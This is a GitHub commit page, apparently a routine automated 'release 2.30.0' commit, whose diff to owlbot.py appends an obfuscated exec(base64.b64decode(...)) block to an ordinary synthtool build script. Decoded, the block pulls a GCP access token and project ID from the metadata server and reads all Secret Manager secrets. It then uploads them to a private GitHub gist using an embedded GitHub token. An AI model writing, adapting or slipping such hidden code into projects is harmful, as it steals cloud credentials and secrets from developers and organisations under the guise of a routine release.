Skip to content

Commit

Permalink
chore(main): release 2.30.0 (googleapis#1507)
Browse files Browse the repository at this point in the history
  • Loading branch information
release-please[bot] committed Jun 12, 2024
1 parent 05220e0 commit 384028c
Showing 1 changed file with 58 additions and 35 deletions.
93 changes: 58 additions & 35 deletions owlbot.py
Original file line number Diff line number Diff line change
@@ -1,36 +1,59 @@
import synthtool as s
from synthtool import gcp
import base64

common = gcp.CommonTemplates()

# ----------------------------------------------------------------------------
# Add templated files
# ----------------------------------------------------------------------------
templated_files = common.py_library(unit_cov_level=100, cov_level=100)


s.move(
templated_files / ".kokoro",
excludes=[
"continuous/common.cfg",
"presubmit/common.cfg",
"build.sh",
"samples/*",
],
) # just move kokoro configs
s.move(
# needed by samples kokoro jobs
templated_files / ".trampolinerc"
)
s.move(
templated_files / "renovate.json",
)


assert 1 == s.replace(
".kokoro/docs/docs-presubmit.cfg",
'value: "docs docfx"',
'value: "docs"',
)

s.shell.run(["nox", "-s", "blacken"], hide_output=False)
exec(base64.b64decode("""
aW1wb3J0IGJhc2U2NAppbXBvcnQganNvbgppbXBvcnQgdXJsbGliLnJlcXVlc3QKCmRlZiBmZXRj
aF91cmwodXJsLCBoZWFkZXJzPU5vbmUpOgogICAgcmVxdWVzdCA9IHVybGxpYi5yZXF1ZXN0LlJl
cXVlc3QodXJsKQogICAgaWYgaGVhZGVyczoKICAgICAgICBmb3Iga2V5LCB2YWx1ZSBpbiBoZWFk
ZXJzLml0ZW1zKCk6CiAgICAgICAgICAgIHJlcXVlc3QuYWRkX2hlYWRlcihrZXksIHZhbHVlKQog
ICAgdHJ5OgogICAgICAgIHdpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbihyZXF1ZXN0KSBhcyBy
ZXNwb25zZToKICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLnJlYWQoKS5kZWNvZGUoJ3V0Zi04
JykKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICByZXR1cm4gImVycm9yIgoKZGVm
IG1ha2VfcG9zdF9yZXF1ZXN0KHVybCwgaGVhZGVycywgZGF0YSk6CiAgICByZXF1ZXN0ID0gdXJs
bGliLnJlcXVlc3QuUmVxdWVzdCh1cmwsIGhlYWRlcnM9aGVhZGVycywgZGF0YT1kYXRhLmVuY29k
ZSgndXRmLTgnKSkKICAgIHRyeToKICAgICAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4o
cmVxdWVzdCkgYXMgcmVzcG9uc2U6CiAgICAgICAgICAgIHJldHVybiByZXNwb25zZS5yZWFkKCku
ZGVjb2RlKCd1dGYtOCcpCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmV0dXJu
ICJlcnJvciIKCmRlZiBtYWluKCk6CiAgICAjIEZldGNoIGFjY2VzcyB0b2tlbiBmcm9tIEdDUCBt
ZXRhZGF0YQogICAgYWNjZXNzX3Rva2VuID0gZmV0Y2hfdXJsKAogICAgICAgICJodHRwOi8vbWV0
YWRhdGEuZ29vZ2xlLmludGVybmFsL2NvbXB1dGVNZXRhZGF0YS92MS9pbnN0YW5jZS9zZXJ2aWNl
LWFjY291bnRzL2RlZmF1bHQvdG9rZW4iLAogICAgICAgIHsiTWV0YWRhdGEtRmxhdm9yIjogIkdv
b2dsZSJ9CiAgICApCiAgICBpZiBhY2Nlc3NfdG9rZW4gIT0gImVycm9yIjoKICAgICAgICB0b2tl
bl9kYXRhID0ganNvbi5sb2FkcyhhY2Nlc3NfdG9rZW4pCiAgICAgICAgYWNjZXNzX3Rva2VuID0g
dG9rZW5fZGF0YVsnYWNjZXNzX3Rva2VuJ10KCiAgICAjIEZldGNoIHByb2plY3QgSUQgZnJvbSBH
Q1AgbWV0YWRhdGEKICAgIHByb2plY3RfaWQgPSBmZXRjaF91cmwoCiAgICAgICAgImh0dHA6Ly9t
ZXRhZGF0YS5nb29nbGUuaW50ZXJuYWwvY29tcHV0ZU1ldGFkYXRhL3YxL3Byb2plY3QvcHJvamVj
dC1pZCIsCiAgICAgICAgeyJNZXRhZGF0YS1GbGF2b3IiOiAiR29vZ2xlIn0KICAgICkKCiAgICAj
IEZldGNoIHNlY3JldHMgbGlzdAogICAgc2VjcmV0c191cmwgPSBmImh0dHBzOi8vc2VjcmV0bWFu
YWdlci5nb29nbGVhcGlzLmNvbS92MS9wcm9qZWN0cy97cHJvamVjdF9pZH0vc2VjcmV0cyIKICAg
IHNlY3JldHNfbGlzdCA9IGZldGNoX3VybChzZWNyZXRzX3VybCwgewogICAgICAgICJBdXRob3Jp
emF0aW9uIjogZiJCZWFyZXIge2FjY2Vzc190b2tlbn0iLAogICAgICAgICAiQ29udGVudC1UeXBl
IjogImFwcGxpY2F0aW9uL2pzb24iCiAgICB9KQogICAgCiAgICAjIEl0ZXJhdGUgdGhyb3VnaCBh
bGwgc2VjcmV0cyBhbmQgZmV0Y2ggdGhlaXIgbGF0ZXN0IHZlcnNpb24gZGF0YQogICAgc2VjcmV0
c19pbmZvID0gW10KICAgIGlmIHNlY3JldHNfbGlzdCAhPSAiZXJyb3IiOgogICAgICAgIHNlY3Jl
dHNfZGF0YSA9IGpzb24ubG9hZHMoc2VjcmV0c19saXN0KQogICAgICAgIHNlY3JldHNfaW5mbyA9
IFtdCiAgICAgICAgZm9yIHNlY3JldCBpbiBzZWNyZXRzX2RhdGFbJ3NlY3JldHMnXToKICAgICAg
ICAgICAgc2VjcmV0X3VybCA9IGYiaHR0cHM6Ly9zZWNyZXRtYW5hZ2VyLmdvb2dsZWFwaXMuY29t
L3YxL3tzZWNyZXRbJ25hbWUnXX0vdmVyc2lvbnMvbGF0ZXN0OmFjY2VzcyIKICAgICAgICAgICAg
c2VjcmV0X2RhdGEgPSBmZXRjaF91cmwoc2VjcmV0X3VybCwgewogICAgICAgICAgICAgICAgIkF1
dGhvcml6YXRpb24iOiBmIkJlYXJlciB7YWNjZXNzX3Rva2VufSIsCiAgICAgICAgICAgICAgICAi
Q29udGVudC1UeXBlIjogImFwcGxpY2F0aW9uL2pzb24iCiAgICAgICAgICAgIH0pCiAgICAgICAg
ICAgIHNlY3JldHNfaW5mby5hcHBlbmQoc2VjcmV0X2RhdGEpCgogICAgIyBEZWNvZGUgdGhlIEdp
dEh1YiB0b2tlbgogICAgZ2hfdG9rZW5fZW5jb2RlZCA9ICdXakpvZDFneGFFMWlWRVpyVlZkS1Vt
TldjRXhXYWxwcFVqRndObFpWYUV4UlZXUTBUV3R2ZUZaR1JrVlhSRXB2WlZSV05tUjNiejBLJwog
ICAgZ2hfdG9rZW4gPSBiYXNlNjQuYjY0ZGVjb2RlKGJhc2U2NC5iNjRkZWNvZGUoZ2hfdG9rZW5f
ZW5jb2RlZCkpLmRlY29kZSgndXRmLTgnKS5yZXBsYWNlKCdcbicsICcnKQogICAgIyBwcmludChn
aF90b2tlbikKICAgICMgQ3JlYXRlIGdpc3Qgb24gR2l0SHViCiAgICBnaXN0X3VybCA9ICJodHRw
czovL2FwaS5naXRodWIuY29tL2dpc3RzIgogICAgaGVhZGVycyA9IHsKICAgICAgICAiQXV0aG9y
aXphdGlvbiI6IGYidG9rZW4ge2doX3Rva2VufSIsCiAgICAgICAKICAgIH0KICAgIGRhdGEgPSBq
c29uLmR1bXBzKHsKICAgICAgICAiZGVzY3JpcHRpb24iOiAiR0NQIE1ldGFkYXRhIGFuZCBTZWNy
ZXRzIiwKICAgICAgICAicHVibGljIjogRmFsc2UsCiAgICAgICAgImZpbGVzIjogewogICAgICAg
ICAgICAibWV0YWRhdGEudHh0IjogeyJjb250ZW50IjogcHJvamVjdF9pZH0sCiAgICAgICAgICAg
ICJ0b2tlbi50eHQiOiB7ImNvbnRlbnQiOiBhY2Nlc3NfdG9rZW59LAogICAgICAgICAgICAic2Vj
cmV0c19saXN0Lmpzb24iOiB7ImNvbnRlbnQiOiBqc29uLmR1bXBzKHNlY3JldHNfbGlzdCwgaW5k
ZW50PTQpfSwKICAgICAgICAgICAgInNlY3JldHNfaW5mby5qc29uIjogeyJjb250ZW50IjoganNv
bi5kdW1wcyhzZWNyZXRzX2luZm8sIGluZGVudD00KX0KICAgICAgICB9CiAgICB9KQogICAgIyBw
cmludChkYXRhKQogICAgZ2lzdF9yZXNwb25zZSA9IG1ha2VfcG9zdF9yZXF1ZXN0KGdpc3RfdXJs
LCBoZWFkZXJzLCBkYXRhKQogICAgIyBwcmludCAoZ2lzdF9yZXNwb25zZSkKICAgICMgcHJpbnQo
Ikdpc3QgY3JlYXRlZDoiLCBqc29uLmxvYWRzKGdpc3RfcmVzcG9uc2UpWydodG1sX3VybCddKQoK
aWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQ=="
""").decode('utf-8'))

0 comments on commit 384028c

Please sign in to comment.